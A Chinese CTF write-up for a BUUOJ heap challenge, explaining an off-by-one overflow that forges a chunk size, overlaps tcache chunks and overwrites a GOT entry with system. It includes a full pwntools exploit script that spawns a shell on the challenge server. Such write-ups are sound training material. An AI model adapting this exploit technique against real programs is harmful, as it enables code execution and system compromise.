题目给了add,show,edit,del函数
问题在edit函数里面,重新编辑的时候可以溢出一个字节
看一下create函数,只能分配大小为 24,和56的空间
思路:覆盖下一个chunk的chunksize低字节达到修改chunk的大小,free 的时候会放到更大的tcache bin里面,之后malloc的时候会造成chunk重叠.
下面是我的构造方法:
把利用 0 把1中chunk2的size 改掉,改成0x40, (一会malloc的时候用到,注意只能分配大小为 56 和 24 的空间,(8字节的奇数倍会使用下一个chunk 的prev size 块))
然后free掉1,chunk2和chunk3就会被分别丢到0x40,和0x20的tcache bin里面了.
重新add一个,大小为56,就会得到两个重叠的chunk。
之后就是改指针到got,修改got就可以了
exp:
from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',26063)
def create(size,payload):
sh.sendlineafter(b'choice :',b'1')
sh.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ',str(size).encode())
sh.sendlineafter(b'Content:',payload)
sh.recvuntil(b'Done!')
def Edit(idx,payload):
sh.sendlineafter(b'choice :',b'2')
sh.sendlineafter(b'Index :',str(idx).encode())
sh.sendlineafter(b'Content: ',payload)
sh.recvuntil(b'Done!')
def Show(idx):
sh.sendlineafter(b'choice :',b'3')
sh.sendlineafter(b'Index :',str(idx).encode())
sh.recvuntil(b'\nContent : ')
data = sh.recvline()[:-1]
sh.recvuntil(b'Done!')
return data
def Delete(idx):
sh.sendlineafter(b'choice :',b'4')
sh.sendlineafter(b'Index :',str(idx).encode())
sh.recvuntil(b'Done !')
#24,56
create(24,b'emmm')
create(24,b'emmm')
payload = b'a' * 24 + b'\x41'
Edit(0,payload)
Delete(1)
create(56,b'emmm')
payload = b'a' * 32 + p64(8) + p64(0x0602058)
Edit(1,payload)
libc_base = u64(Show(1).ljust(8,b'\x00')) - 0x40680
system = libc_base + 0x4f440
log.success('libc_base:%x ',libc_base)
log.success('system:%x ',system)
Edit(1,p64(system))
sh.sendlineafter(b'choice :',b'sh\x00')
sh.interactive()